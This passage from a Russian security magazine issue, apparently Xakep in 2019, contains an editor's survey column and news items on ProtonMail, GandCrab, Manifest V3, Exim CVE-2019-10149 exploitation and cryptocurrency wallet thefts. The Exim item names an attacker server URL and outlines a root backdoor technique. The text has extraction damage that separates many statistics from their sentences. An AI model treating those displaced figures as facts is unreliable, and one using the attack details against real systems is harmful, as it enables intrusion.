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Еще один месяц позади, а это зна чит, ваш
поч ти  что  новый  глав ный  редак тор  дол жен
сесть и сочинить еще одну колон ку — как и
обе щал. Спра вит ся ли он с задачей? Какие
тем ные  сек реты  редак ции  он  рас кро ет?
Сколь ко  раз  он  отвле чет ся,  что бы  решить
дела  государс твен ной  важ ности
или почитать «Твит тер»? Сей час узна ем!

 я писал в качес тве экспе римен та, и он,
на мой взгляд, впол не удал ся. Ком мента рии на стра нице по дли не серь езно
переве шива ют сам текст, а это зна чит, что глав ная цель выпол нена и диалог
начал ся.

Пре дыду щее обра щение к читате лям

Что  раз говор  обя затель но  зай дет  о  бумаж ном  «Хакере»,  мож но  было
не сом невать ся (имен но поэто му я и решил опе редить ком мента торов и упо‐ 
мянуть  о  нем  пер вым).  Спа сибо  всем,  кто  обе щает  под держать  выпуск
«бумаги» и покупать ее за боль шие день ги. Это не может не вдох новлять!

Тем  не  менее  сей час  все  силы  редак ции  сос редото чены  на  том,  что бы
ежед невно  пос тавлять  статьи  для  сай та.  Имен но  о  них  и  погово рим.  Хоть
у  нас  и  есть  общее  пред став ление,  какие  матери алы  нра вят ся  читате лям,
никог да не помеша ет про верить свои убеж дения.

Не дав но мы выс лали тысяче слу чай но выб ранных под писчи ков неболь шой
опросник,  где  поп росили  рас ска зать,  нас коль ко  люди  доволь ны  под пиской,
как изме нилось качес тво ста тей за пос ледний год, и добави ли откры тый воп‐ 
рос о том, чего им не хва тает в «Хакере».

Что  резуль таты  ока жут ся  такими  позитив ными,  я  и  меч тать  не  мог.  89%
читате лей оце нива ют удов летво рен ность под пиской на семь и более бал лов
из десяти.

Оцен ка удов летво рен ности под пиской по десяти балль ной шка ле

Тех, кто счи тает, что качес тво матери алов воз росло с прош лого года, втрое
боль ше, чем тех, кто находит, что ста ло хуже.

Как изме нилось качес тво матери алов по срав нению с прош лым годом

Но инте рес нее все го, конеч но, было почитать, что люди писали в тек сто вом
поле, где мы поп росили рас ска зать, какие матери алы бы повыси ли цен ность
под писки.

Вы делив  общие  темы  сре ди  просьб,  мы  сно ва  были  при ятно  удив лены:
сре ди лидиру ющих отве тов — «все и так хорошо». Нарав не с ним — поболь‐ 
ше  писать  про  софт  и  в  осо бен ности  про  Linux.  Пос тара емся  учесть!  Хотя
по  моим  субъ ективным  ощу щени ям,  забывать  мы  ста ли  ско рее  о  Windows.
Linux и «Мак» в редак ции дав но победи ли, и некото рый перекос в их сто рону
выходит сам собой.

За нят но,  что  одни  читате ли  про сят  поболь ше  ста тей  началь ного  уров ня,
которые помог ли бы обрести фун дамен таль ные зна ния, дру гие тем вре менем
жаж дут  хар дко ра.  Вооб ще  говоря,  мы,  хоть  и  ори енти руем ся  на  середи ну,
ста раем ся не забывать и про кра ешки.

Статьи  началь ного  уров ня  о  том,  как  обе зопа сить  лич ные  дан ные  и  сох‐ 
ранить ано ним ность в Сети, мы решили объ еди нить в цикл «Спра воч ник ано‐ 
нима» и  пуб ликовать бес плат но  (то есть  читать их  на  сай те мож но,  не имея
под писки).   пос вящена защите элек трон ной поч ты, в ней ты
най дешь ссыл ки на пре дыду щие.

Пос ледняя из них

Па рал лель но мы ста раем ся дать широко му кру гу читате лей азы computer
science  —  они  при годят ся  любому  прог раммис ту,  хакеру  и  адми ну.  Одна
из таких ста тей — « » выш ла сов сем недав но.
С подоб ными экскур сами мы пла ниру ем заг лянуть и в дру гие смеж ные с ИБ
области.

Ос новы циф ровой схе мотех ники

Что до хар дко ра, то мы и так ста раем ся не про ходить мимо важ ных вещей
и всег да пуб ликовать глу бокие матери алы о безопас ности, ког да есть малей‐ 
шая воз можность их заполу чить. А вот если тема узкая и пря мого отно шения
к ИБ не име ет, то здесь мы можем при тор мозить и спро сить у себя: «А есть ли
такому мес то в „Хакере“?»

Лай товые  статьи  не  по  нашей  основной  теме  помога ют  рас ширить  кру‐ 
гозор,  а  вот  слож ные,  которые  вмес то  обзорной  экскур сии  гру зят  читате ля
под робнос тями,  для  это го  годят ся  пло хо.  Если  99%  людей  пос ле  вто рого
абза ца пой мут, что оре шек им не по зубам, да и грызть его незачем, то, воз‐ 
можно, от такого матери ала сто ило отка зать ся.

Час то сре ди просьб мель кала тема прак тики взло ма. Что ж, спра вед ливо!
Это  имен но  то,  за  чем  сюда  приш ло  боль шинс тво  из  вас  (да  и  нас  тоже),
ведомых  любопытс твом  или  ины ми  мотива ми.  Одна ко  если  на  заре  двух‐ 
тысяч ных  в  «Хакере»  спо кой но  пуб ликова ли  отче ты  о  реаль ных  кей сах,  то
теперь с этим уже не так прос то.

Ло гич ная  замена  —  статьи,  написан ные  экспер тами  по  безопас ности,
перешед шими на свет лую сто рону. И такие матери алы у нас есть, но, во‐пер‐ 
вых, их мас совое про изводс тво зат рудне но тем, что бегать за важ ными спе‐ 
цами и зас тавлять их писать статьи неп росто (финан совая мотива ция тут сла‐ 
бо помога ет), а во‐вто рых, их инте ресы силь но эво люци они рова ли.

За щита  ком паний и  ее  про вер ка  на  проч ность,  орга низа цион ные и юри‐ 
дичес кие  воп росы  и  про чие  кор поратив ные  замороч ки —  все  это  здо рово,
но  никак  не  заменя ет  статьи  об  (условно)  искусс тве  под ста нов ки  кавычек
в веб‐фор мы. А об этом гос подам экспер там писать уже скуч новато. Счас тли‐ 
вое исклю чение — aLLy, который неус танно каж дый месяц   для нас
по одно му‐два новых экс пло ита.

раз бира ет

По тен циаль ная  аль тер натива  —  рай тапы  по  решению  заданий  с  CTF.
Понят но,  что  эти  задачи  сос тавле ны  искусс твен но  и  серь езно  отли чают ся
от того, что быва ет в реаль ных усло виях, но тех ники, инс тру мен тарий и общая
проб лемати ка здесь те же. В июне мы опуб ликова ли рай тап «

»,
и он имел немалый успех. Будем про дол жать в том же духе!

Ук рощение Ker‐
beros. Зах ватыва ем Active Directory на вир туаль ной машине с Hack The Box

Так же  резуль таты  опро са  в  оче ред ной  раз  под твер дили  нашу  догад ку
о  том,  что  в  гла зах  читате лей  меж ду  стать ями  и  новос тями  нет  такой  дра‐ 
матич ной раз ницы, какую мы видим с изна ноч ной сто роны. Есть подоз рение,
что  это  недопо нима ние  и  ста ло  при чиной  пары попав шихся мне обви нений
в боль шом количес тве «перевод ных» и слиш ком лег ких матери алов.

На ши новос ти дей стви тель но пишут ся в основном по запад ным источни‐ 
кам (со ссыл кой на них), мар кирова ны ярлы ком «новость» и пуб лику ются бес‐ 
плат но. Еще один важ ный момент — их не чита ет кор ректор до тех пор, пока
они не попадут в еже месяч ную под борку Meganews.

И то, что новос ти «Хакера» иног да пута ют с боль шими стать ями, и то, что
мы пока не пог ребены под  горой жалоб на опе чат ки, — это, на мой взгляд,
сплош ные  ком пли мен ты  нашему  новос тно му  редак тору  Марии  Нефёдо вой.
Тем не менее, встре тив опе чат ку, сме ло сооб щай о ней, мы обя затель но поп‐ 
равим!

На пос ледок еще одна очень важ ная вещь, о которой я обя зан напоми нать
вре мя от вре мени. Если, про читав все это, ты вспом нил, что мы что‐то упус‐ 
тили и упор но не пишем о важ ной теме, не стес няй ся   нас об этом.опо вес тить

А  еще  луч ше,  если  ты  захочешь  написать  сам.  Помимо  того  что  пуб‐ 
ликовать ся у нас кру то и прес тижно, мы вып лачива ем гонорар и даем скид ки
на под писку, а для пос тоян ных авто ров она и вов се бес плат на. Нуж но будет
написать хотя бы три статьи, но мой опыт под ска зыва ет: пос ле пер вой идет
уже зна читель но лег че.
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ПОДОЗРИТЕЛЬНЫЙ
PROTONMAIL
В середи не мая текуще го года с док ладом на кон ферен ции по безопас ности
выс тупил руково дитель швей цар ско го Цен тра по воп росам кибер прес тупнос‐ 
ти,  про курор Сте фан  Уол дер  (Stephan Walder).  Его  выс тупле ние  в  реаль ном
вре мени тран сли ровал в Twitter швей цар ский адво кат Мар тин Штай гер (Mar‐
tin Steiger).

Сог ласно  тви там Штай гера,  во  вре мя  выс тупле ния Уол дер пря мо  заявил
о  том,  что  ком пания  ProtonMail  пред лага ет  свою  помощь  влас тям  и  доб‐ 
роволь но сле дит за сво ими поль зовате лями едва ли не в реаль ном вре мени,
не  тре буя  для  это го  ордер  из  федераль ного  суда.  В  ито ге  Штай гер  опуб‐ 
ликовал  пост  в  сво ем  бло ге,  где  деталь но  рас ска зал  о  том,  как  имен но
ИТ‐ком пании  (в  соот ветс твии  со  швей цар ским  законо датель ством)  дол жны
сот рудни чать с орга нами влас ти.

И хотя ProtonMail — это защищен ный сер вис со сквоз ным шиф ровани ем
и  фак тичес кое  содер жание  элек трон ных  писем  кли ентов  адми нис тра ция
знать не может, раз работ чики все же име ют дос туп  к метадан ным. При водя
в  при мер  прак тику  Агентства  наци ональ ной  безопас ности  США,  Штай гер
отме тил,  что  метадан ные  тоже  могут  быть  край не  цен ны  для  пра воох‐ 
ранитель ных орга нов и спец служб.

Штай гер под черки вает, что ProtonMail базиру ется в Швей царии и исполь‐ 
зует  это  в  качес тве  мар кетин гового  пре иму щес тва,  ссы лаясь  на  стро гие
швей цар ские законы о кон фиден циаль нос ти. Но фак тичес ки сер вис под чиня‐ 
ется  мес тным  законам  и,  по  сло вам  Уол дера,  яко бы  и  вов се  доб роволь но
помога ет пра воох ранитель ным орга нам.

Ког да на пуб ликацию Штай гера обра тили  вни мание сооб щес тво и СМИ,
Сте фан Уол дер свя зал ся с юрис том и заявил, что тот неп равиль но цитиру ет
сло ва о ProtonMail, одна ко Штай гер убеж ден, что вов се не ошиб ся.

В  ито ге  на  зарож дающий ся  скан дал  были  вынуж дены  отре аги ровать
и  сами  пред ста вите ли  ProtonMail.  В  ком пании  уве ряют,  что  дей стви тель но
соб люда ют законы Швей царии, но не в раз рез с пра вила ми самого сер виса,
а информа ция пра воох ранитель ным орга нам пре дос тавля ется толь ко в рам‐ 
ках рас сле дова ний по уго лов ным делам и исклю читель но при наличии орде‐ 
ра. И конеч но, ник то не сле дит за поль зовате лями пре вен тивно. «Заяв ление
о том, что мы дела ем это доб роволь но, пол ностью лож но», — говорит адми‐ 
нис тра ция сер виса.

Нуж но  ска зать,  Мар тин  Штай гер  по‐преж нему  уве рен  в  сво ей  пра воте
и счи тает, что пред ста вите ли ком пании отве тили не на все воп росы, которые
он под нял в сво ей статье. Более того, Штай гер сооб щает, что пред ста вите ли
ProtonMail приг розили ему иском за кле вету.

WANNACRY ЗАРАЖЕ НЫ   МАШИНДЕ СЯТ КИ ТЫСЯЧ
Со вре мени нашумев шей эпи демии WannaCry прош ло уже два года, но, как показы вают иссле‐ 
дова ния, шиф роваль щик по‐преж нему встре чает ся на мно жес тве устрой ств.

Эк спер ты  ком пании Armis под счи тали,  что  за пос ледние пол года WannaCry  заразил 
устрой ств в   стра нах мира.

145  000
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По дан ным ана лити ков, мал варь до сих пор при сутс тву ет на   про мыш ленных пред при ятий
и  в    медицин ских  учрежде ний,  а  так же  встре чает ся  в  сетях  роз ничной  тор говли.  Дело
в том, что имен но в этих областях исполь зует ся спе циали зиро ван ное обо рудо вание со встро‐ 
енной Windows, которое слож но обновлять, и апгрейд зачас тую вылива ется в нак ладные прос‐ 
тои.

60%
40%

По  количес тву  жертв  лидиру ют  ,    и  :  в  каж дой  из  этих  стран  экспер ты
еже недель но фик сирова ли  свы ше    обра щений  к  домену‐«рубиль нику»,  оста нав лива‐ 
юще му ата ку шиф роваль щика.
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 заняла в спис ке экспер тов   с показа телем   обра щений.Рос сия 8-е мес то 50 000

GANDCRAB ВСЁ
Опе рато ры RaaS (Ransomware as a Service) GandCrab объ яви ли, что отхо дят
от  дел.  Соот ветс тву ющее  заяв ление  было  сде лано  в  офи циаль ной  вет ке
извес тно го  хакер ско го  форума,  где  GandCrab  рек ламиро вал ся  с  самого
момен та появ ления в 2018 году.

В  сво ем  пос лании  раз работ чики  GandCrab  пох васта лись,  что  собира ются
«уйти на зас лужен ную пен сию», так как в общей слож ности выкупы при нес ли
прес тупни кам более 2 мил лиар дов дол ларов и опе рато ры получа ли при мер‐ 
но 2,5 мил лиона дол ларов в неделю (150 мил лионов дол ларов в год). Экспер‐ 
ты в области безопас ности схо дят ся во мне нии, что эти циф ры вряд ли соот‐ 
ветс тву ют дей стви тель нос ти.

«Мы успешно обна личи ли эти день ги и легали зова ли их в раз личных
сфе рах биз неса, как в реаль ной жиз ни, так и в интерне те. Мы ухо дим
на зас лужен ную пен сию. Мы доказа ли, что мож но тво рить зло деяния,
но воз мездие не при дет», — пишут соз датели GandCrab.

Ху же того, раз работ чики GandCrab заяви ли, что вмес те с зак рыти ем сер виса
они намере ны уда лить все клю чи дешиф рования, то есть вос ста новить фай лы
пос тра дав ших ста нет невоз можно. Неиз вес тно, пыта ются ли соз датели шиф‐ 
роваль щика  таким обра зом запугать  пос тра дав ших и  побудить их  зап латить
выкупы  или  же  в  самом  деле  пла ниру ют  унич тожить  клю чи.  Сто ит  заметить,
что,  отхо дя  от  дел,  раз работ чики  дру гих  шиф роваль щиков  (нап ример,  Tes‐
laCrypt, XData и Crysis), нап ротив, пуб ликова ли оставши еся клю чи в откры том
дос тупе, что бы жер твы мог ли вос ста новить дан ные.

Но  к  счастью  для  поль зовате лей,  вско ре  пос ле  объ явле ния  о  гря дущем
зак рытии GandCrab экспер ты ком пании Bitdefender, Евро пола и ФБР пред ста‐ 
вили новый инс тру мент для дешиф ровки дан ных. Это решение работа ет даже
для новей ших вер сий GandCrab 5.0 и GandCrab 5.2, а так же для более ста рых
вер сий 1, 4.

На пом ню,  что  GandCrab  был  одним  из  наибо лее  активных  вымога телей
на рын ке весь пос ледний год. Так, экспер ты ком пании Bitdefender уже триж ды
выпус кали инс тру мен ты для дешиф ровки фай лов пос ле атак GandCrab  ( ,  ,
). Эти бес плат ные инс тру мен ты, по сло вам Bitdefender и пра воох ранитель‐ 
ных орга нов, помог ли более чем 30 тысячам жертв шиф роваль щика и пре дот‐ 
вра тили  вып лату  зло умыш ленни кам  более  50  мил лионов  дол ларов.  Одна ко
весь  про шед ший  год  вымога тель  про дол жал  активно  обновлять ся  и  совер‐ 
шенс тво вать ся, пос ле чего дешиф ровщи ки перес тавали работать.
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Ис тория обновле ний GandCrab и релизы дешиф ровщи ков

Но вей ший дешиф ровщик был выпущен Bitdefender в сот рудни чес тве с Евро‐ 
полом,  румын ской  полици ей,  DIICOT,  ФБР,  Наци ональ ным  агентством
по борь бе с прес тупностью Великоб ритании, а так же дру гими евро пей ски ми
пра воох раните лями. Инс тру мент дос тупен для заг рузки на сай те 

, а так же в рам ках про екта  .
Bitdefender

Labs No More Ransom
Рав но как и в пре дыду щих слу чаях, инс тру мент для рас шифров ки появил ся

не  потому,  что  обна ружи лась  какая‐то  брешь  в  алго рит ме  шиф рования.
Вмес то  это го  Bitdefender,  в  сот рудни чес тве  с  пра воох ранитель ными  орга‐ 
нами,  получи ла  дос туп  к  управля ющим  сер верам  GandCrab,  и  экспер ты
извлек ли  клю чи  дешиф рования,  необ ходимые  для  рас шифров ки  фай лов
жертв.

В РОС КОМНАД ЗОРЕ НЕДОВОЛЬ НЫ
Как сооб щил жур налис там ТАСС гла ва РКН Алек сандр Жаров, он по‐преж нему недово лен тем,
что филь тра ция зап рещен ного кон тента в Google оста ется на уров не око ло 68–70%.

→ «Мы уже в про цес се сос тавле ния [про токо ла], адми нис тра тив ное дело находит ся в про цес‐ 
се  раз вития,  пос коль ку  ситу ация  с  филь тра цией  зап рещен ного  тра фика  ком пании  Google
не меня ется. Гро зит им [кор порации Google] штраф в 700 000 руб лей. Думаю, до кон ца июля
точ но уже все фор маль ные про цеду ры прой дут: сос тавле ние про токо ла, приг лашение пред ста‐ 
вите ля  ком пании  на  про токол.  Но  вдруг  Google  все  исполнит.  Мы  стре мим ся  к  тому,  что бы
закон был исполнен, а не штра фовать»
— Алек сандр Жаров

MANIFEST V3
Как  мы  уже  неод нократ но  ,  вок руг  гря дуще го  Manifest
V3 по‐преж нему ведут ся жар кие спо ры. Напом ню, что бло киров щики кон тента
и  дру гие  рас ширения  для  Chrome  могут  пос тра дать  из‐за  изме нений,
которые  инже неры  Google  пла ниру ют  внес ти  в  третью  вер сию  манифес та,
опре деля юще го воз можнос ти и огра ниче ния для рас ширений.

рас ска зыва ли

Суть  проб лемы  зак люча ется  в  том,  что  в  Google  намере ны  огра ничить
работу webRequest API, а это может негатив но ска зать ся на фун кци они рова‐ 
нии бло киров щиков кон тента и не толь ко. Вмес то webRequest раз работ чикам
будет пред ложено исполь зовать declarativeNetRequest API, и, по сло вам мно‐ 
гих  девело перов,  переход  на  дру гой  API,  силь но  отли чающий ся  от  webRe‐
quest и во мно гом ему усту пающий, в сущ ности, ста нет «смертью» их про дук‐ 
тов.

По  дан ным  на  конец  мая  2019  года,  раз работ чики  Google  ,  что
фун кци ональ ность webRequest оста нет ся преж ней толь ко для кор поратив ных
кли ентов, а для осталь ных API будет огра ничен,  как и пла ниро валось ранее.
Это известие немед ленно дало тол чок новому вит ку спо ров и кри тики.

ре шили

Но не сто ит забывать и о том, что релиз Manifest V3 пов лияет на кодовую
базу Chromium в целом, то есть изме нения зат ронут и дру гие бра узе ры. Спе‐ 
ша  успо коить  сво их  поль зовате лей,  раз работ чики Opera, Brave  и  Vivaldi  уже
сооб щили  офи циаль но,  что  не  намере ны  под держи вать  взя тый Google  курс
на борь бу с бло киров щиками.

Так, жур налис ты изда ния ZDNet свя зались с  гла вой Brave Software Брен‐ 
даном Эйхом  (Brendan Eich), и  тот заверил,  что Brave про дол жит под держи‐ 
вать  webRequest  для  всех  рас ширений.  В  час тнос ти,  по‐преж нему  будут
работать  uBlock  Origin  и  uMatrix,  соз данные  Рей мон дом  Хил лом  —  в  нас‐ 
тоящее  вре мя  глав ным  кри тиком  гря дущих  изме нений  в  Manifest  V3.  Так же
Эйх напом нил, что в бра узе ре ком пании есть встро енный бло киров щик рек‐ 
ламы,  который  мож но  исполь зовать  в  качес тве  аль тер нативы  любому  рас‐ 
ширению.

Пред ста вите ли  ZDNet  погово рили  и  с  раз работ чиками  Opera,  которые
тоже  сооб щили,  что  столь  необ ходимые  бло киров щикам  API,  ско рее  все го,
про дол жат работать в Opera  (нев зирая на  то что в Chrome они отклю чат ся).
К  тому же  во  всех  вер сиях Opera  тоже есть  собс твен ный бло киров щик рек‐ 
ламы, и в худ шем слу чае поль зовате ли всег да могут перек лючить ся на него.

Де вело перы  Vivaldi  в  офи циаль ном  бло ге  уточ нили,  что  все  зависит
от  того,  как  имен но  Google  реали зует  огра ниче ния.  Одна ко  в  ком пании
пообе щали  в  любом  слу чае  пре дос тавить  поль зовате лям  выбор.  Раз работ‐ 
чики  пишут,  что  сущес тву ет мно жес тво  воз можных  сце нари ев  реаги рова ния
на  третью  вер сию  манифес та,  вклю чая  даже  вос ста нов ление  фун кци ональ‐ 
нос ти API — а это коман де Vivaldi уже при ходи лось делать ранее. Если же API
уда лят пол ностью, раз работ чики обе щают рас смот реть аль тер нативы, вплоть
до соз дания катало га огра ничен ных рас ширений.

«Хорошая  новость  зак люча ется  в  том,  что,  какие  бы  огра ниче ния
ни  наложи ла  Google,  в  конеч ном  ито ге  мы  смо жем  их  снять.  Наша
мис сия всег да сос тоит в том, что бы у вас был выбор», — пишут пред- 
ста вите ли Vivaldi.

Единс твен ный  бра узер,  раз работ чики  которо го  пока  не  обоз начили  свою
позицию  по  отно шению  к  гря дуще му Manifest  V3, —  это  Edge  ком пании Mi‐
crosoft. Напом ню, что о перево де Edge с движ ка EdgeHTML на Chromium было
объ явле но  в  кон це  прош лого  года,  в  нас тоящее  вре мя  уже  выш ла
превью‐вер сия обновлен ного бра узе ра.

ОПАС НЫЕ «ЧИС ТИЛЬ ЩИКИ»

Эк спер ты  «Лабора тории  Кас пер ско го»  зафик сирова ли  двук ратное  уве личе ние  чис ла  поль‐ 
зовате лей, стол кнув шихся с   — прог рамма ми для очис тки компь юте ра
и опти миза ции его работы, которые спе циаль но пуга ют жер тву лож ной информа цией о кри тич‐ 
ности сос тояния ее устрой ства и вынуж дают жер тву пла тить за избавле ние от проб лем.

hoax system cleaners

В  пер вой  полови не  2019  года  заг рузить  на  свои  устрой ства  такие  ути литы  пытались  поч ти
  поль зовате лей.  В  ана логич ном  пери оде  2018  года  этот  показа тель  был  зна‐ 

читель но мень ше —   поль зовате лей.
1,5  мил лиона

747 000

В пер вой пятер ке стран, чьи поль зовате ли в наиболь шей сте пени под верга ются рис ку пос тра‐ 
дать  от  опас ных  чис тиль щиков,  ока зались  Япо ния  (   поль зовате лей),  Гер мания  ( ),
Беларусь ( ), Ита лия ( ) и Бра зилия ( ).

12% 10%
10% 10% 9%

В Рос сии с hoax‐прог рамма ми стол кнул ся  .каж дый 11-й поль зователь

EXIM ПОД АТАКАМИ
В  начале  июня  2019  года  иссле дова тели  из  ком пании  Qualys  обна ружи ли
опас ную  проб лему  CVE‐2019‐10149  в  поч товом  аген те  Exim  (вер сии  4.87–
4.91),  поз воля ющую  зло умыш ленни кам  запус кать  коман ды  от  име ни  root
на уда лен ных поч товых сер верах.

Уяз вимость  пред став ляет  опас ность  для  полови ны  всех  поч товых  сер‐ 
веров в интерне те. Дело в том, что, по дан ным на июнь 2019 года, 57% всех
поч товых  сер веров  (507  389)  дей стви тель но  исполь зуют  Exim,  а  по  дру гим
дан ным количес тво уста новок Exim нам ного выше — поряд ка  .5,4 мил лиона

Эк спер ты пре дуп режда ли, что экс плу ата ция най ден ной уяз вимос ти край не
прос та, и прог нозиро вали, что зло умыш ленни ки соз дадут экс пло ит для проб‐ 
лемы за счи таные дни. К сожале нию, опа сения спе циалис тов пол ностью под‐ 
твержда ются: уяз вимость уже исполь зуют как минимум две хакер ские груп пы.

Пер вую  вол ну  атак  обна ружил  незави симый  ИБ‐спе циалист  Фред ди
Лиман (Freddie Leeman). Ата ки начались 9 июня и исхо дили с управля юще го
сер вера, рас положен ного по адре су  .http://173.212.214.137/s

В пос леду ющие дни сто ящая за ата ками груп пиров ка изме няла типы рас‐ 
простра няемой мал вари и скрип тов,  то есть экспе римен тирова ла с ата ками
и  пока  явно  не  опре дели лась  с  тем,  как  луч ше  экс плу ати ровать  проб лему
и обер нуть ее себе на поль зу.

Вто рая  груп пиров ка  при нялась  дей ство вать  парал лель но  с  пер вой.
По  дан ным  ком пании  Cyren,  ата ки  начались  10  июня.  Эта  груп па  зло умыш‐ 
ленни ков пос тавила сво ей целью внед рить бэк дор на сер веры MTA, заг рузив
shell‐скрипт и добавив ключ SSH к root‐акка унту. Извес тно, что вто рая груп па
ата кующих сос редота чива ет свои уси лия на сис темах Red Hat Enterprise Linux
(RHEL), Debian, openSUSE и Alpine Linux.

На  вто рую  вол ну  атак  обра тили  вни мание  и  дру гие  спе циалис ты,  в  том
чис ле из ком пании Cybereason. Они пишут, что вто рая груп пиров ка не толь ко
экс плу ати рует уяз вимость в Exim, но и исполь зует саморас простра няющий ся
ком понент,  который,  подоб но  чер вю,  может  дос тавлять  экс пло ит  для  Exim
на дру гие сер веры. Кро ме того, хакеры заг ружа ют и уста нав лива ют на ском‐ 
про мети рован ные сер веры май неры крип товалю ты.

В кон це месяца спе циалис ты Microsoft пре дуп редили, что инфраструк тура
Azure так же пос тра дала от это го чер вя. К счастью, по дан ным ком пании, Azure
успешно  огра ничи вает  его  рас простра нение  и  не  поз воля ет  «пло дить ся»
даль ше.

Тем  не  менее  кли ентов  пре дос терега ют,  что  дру гая  часть  мал вари
по‐преж нему  работа ет.  Хотя  червь  не  смо жет  самос тоятель но  рас простра‐ 
нять ся,  взло ман ные машины Azure  все  рав но  оста нут ся  ском про мети рован‐ 
ными и будут зараже ны май нером. Он ощу тимо замед ляет работу инфи циро‐ 
ван ных  сис тем,  и,  хуже  того,  зло умыш ленни ки  могут  в  любой  момент  уста‐ 
новить  дру гие  вре донос ные  прог раммы  на  вир туаль ные  машины  Azure,
исполь зуя ту же уяз вимость в Exim.

Ад минис тра торам рекомен дуют как мож но ско рее обно вить Exim до вер‐ 
сии 4.92, что бы защитить сер веры от воз можных атак.

ИН КУБАТО РЫ МАЛ ВАРИ
В этом месяце экспер ты ком пании FireEye под готови ли отчет о глав ных киберуг розах пер вого
квар тала 2019 года. Одним из инте рес ных наб людений экспер тов ока залось зна читель ное уве‐ 
личе ние количес тва вре донос ных фай лов, хра нящих ся в облачных сер висах.

На иболь ший при рост мал вари наб люда ется в  .  Так,  в  пер вом  квар тале
количес тво вре донос ных фай лов в OneDrive вырос ло сра зу на рекор дные   по срав нению
с 2018 годом.

Microsoft OneDrive
60%

Как вид но на иллюс тра ции ниже, зло умыш ленни ки так же неред ко исполь зуют для раз мещения
мал вари    и  ,  одна ко  до  «популяр ности»  облачно го  сер виса Microsoft
этим плат формам далеко.

Google Drive Dropbox
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КРИПТОВАЛЮТНЫЕ
ВЗЛОМЫ
За  про шед ший  месяц  сра зу  нес коль ко  крип товалют ных  сер висов  под вер‐ 
глись  кибера такам.  Некото рые  инци ден ты  ока зались  успешны ми  для  зло‐ 
умыш ленни ков, дру гие же не сов сем.

Взлом ради защиты
В ходе ауди та кошель ка Agama, пред назна чен ного для работы с крип товалю‐ 
той  Komodo  (KMD)  и  аль ткой нами,  экспер ты  npm  обна ружи ли  опас ную  уяз‐ 
вимость, которая угро жала безопас ности поль зовате лей.

Ис сле дова тели замети ли вре донос ное обновле ние в сос таве биб лиоте ки
electron‐native‐notify (вер сия 1.1.6) — пос ле обновле ния в ее коде появи лась
фун кци ональ ность для хищения seed'ов кошель ков и пароль ных фраз из крип‐ 
товалют ных при ложе ний. Экспер ты не сра зу поняли, что име ют дело с ата кой
на цепоч ку пос тавок: биб лиоте ка была нацеле на на раз работ чиков при ложе‐ 
ния, которые в ито ге внед рили став шую вре донос ной биб лиоте ку в свой про‐ 
дукт. Как нет рудно понять, этим при ложе нием был кошелек Agama, соз данный
коман дой Komodo и исполь зующий в работе EasyDEX‐GUI. Имен но EasyDEX‐
GUI, как ока залось, под гру жал опас ную биб лиоте ку electron‐native‐notify.

Хо тя  вре донос ный  код  появил ся  в  electron‐native‐notify  еще  в  мар‐ 
те 2019 года, в Agama он про ник толь ко 13 апре ля, с выходом вер сии Agama
0.3.5. По дан ным спе циалис тов npm, код зло умыш ленни ков фун кци они ровал,
как  и  было  задума но:  похищал  seed’ы  и  пароль ные фра зы  и  переда вал  эти
дан ные  на  уда лен ный  сер вер.  В  ито ге  опе рато ры  этой  кам пании  получа ли
воз можность похитить средс тва поль зовате лей Agama.

Ког да  о  проб леме  ста ло  извес тно,  раз работ чики  Komodo  при няли
решение дей ство вать,  сроч но обе зопа сив сво их поль зовате лей и их средс‐ 
тва. Для это го они сами экс плу ати рова ли ту же самую уяз вимость, что и зло‐ 
умыш ленни ки,  в  ито ге  получи ли  в  свое  рас поряже ние  мно жес тво  seed’ов,
а затем вывели все эти средс тва из‐под уда ра.

Та ким  обра зом  с  уяз вимых  кошель ков  было  спа сено  око ло  8 мил лионов
токенов KMD и 96 BTC. В про тив ном слу чае эти средс тва мог ли бы  украсть
зло умыш ленни ки.  Средс тва  были  переве дены  на  отдель ные  кошель ки,  где,
как уве ряют раз работ чики, они находят ся в пол ной безопас ности и под кон‐ 
тро лем коман ды Komodo.

Те перь  поль зовате ли могут  зап росить  воз врат  сво их  токенов  через  спе‐ 
циаль но соз данную стра ницу. Так же им рекомен дует ся завес ти новые адре са
KMD и BTC, исполь зовать новые seed’ы и пароль ные фра зы.

GateHub
Увы,  поль зовате лям  кошель ка  GateHub  повез ло  мень ше.  Неиз вес тные  зло‐ 
умыш ленни ки похити ли у поль зовате лей сер виса 23,2 мил лиона токенов Rip‐
ple (XRP), общей сто имостью око ло 9,5 мил лиона дол ларов.

Сог ласно офи циаль ному заяв лению адми нис тра ции GateHub, в ком пании
полага ют, что хакеры каким‐то обра зом зло упот ребили API кошель ка, одна ко,
как имен но это про изош ло, не уточ няет ся.

«Мы  зафик сирова ли  рост  количес тва  вызовов  API  (с  под линны ми
токена ми  дос тупа),  пос тупа ющих  от  неболь шого  чис ла  IP-адре сов.
Это  мог ло  быть  свя зано  с  тем,  как  зло умыш ленник  получил  дос туп
к  зашиф рован ным  сек ретным  клю чам.  Впро чем,  это  не  объ ясня ет,
как  зло умыш ленник  получил  дру гую  информа цию,  необ ходимую
для рас шифров ки клю чей», — пишут раз работ чики и уточ няют, что все
токены  были  отоз ваны  1  июня  2019  года,  а  подоз ритель ные  обра- 
щения к API прек ратились.

Нем ного боль ше деталей слу чив шегося мож но най ти в неофи циаль ном отче‐ 
те  коман ды  XRP  Forensics.  К  при меру,  иссле дова телям  уда лось  опре делить
две над цать  XRP‐адре сов,  на  которые  зло умыш ленни ки  вывели  похищен ные
средс тва.  На  момент  пуб ликации  отче та  ана лити ки  прос ледили  путь  око‐ 
ло 23 200 000 XRP, укра ден ных у 80–90 поль зовате лей. При этом сооб щает ся,
что  прес тупни ки  уже  отмы ли  через  обменни ки  и  мик шер‐сер висы  поряд‐ 
ка 13 100 000 XRP.

О том, как имен но была реали зова на дан ная ата ка, экспер ты XRP Forensics
тоже не сооб щают ничего, так что поль зовате лям оста ется ждать офи циаль‐ 
ного  заяв ления  ком пании,  которое  будет  сде лано  пос ле  завер шения  внут‐ 
ренне го рас сле дова ния.

Bitrue
Бир жа  Bitrue  под вер глась  кибера таке  уже  во  вто рой  раз  за  текущий  год.
В янва ре 2019 года ресур су повез ло: тог да Bitrue ста ла жер твой ата ки 51%,
в  ходе  которой  зло умыш ленни ки  пытались  похитить  13  тысяч  токенов
Ethereum Classic (ETC) на сум му более 100 тысяч дол ларов. Но тог да подоз‐ 
ритель ную активность замети ли вов ремя и ата ку уда лось пре дот вра тить.

Вто рая ата ка, про изо шед шая в  кон це июня,  к сожале нию, не была обна‐ 
руже на вов ремя. Неиз вес тным зло умыш ленни кам уда лось похитить с горяче‐ 
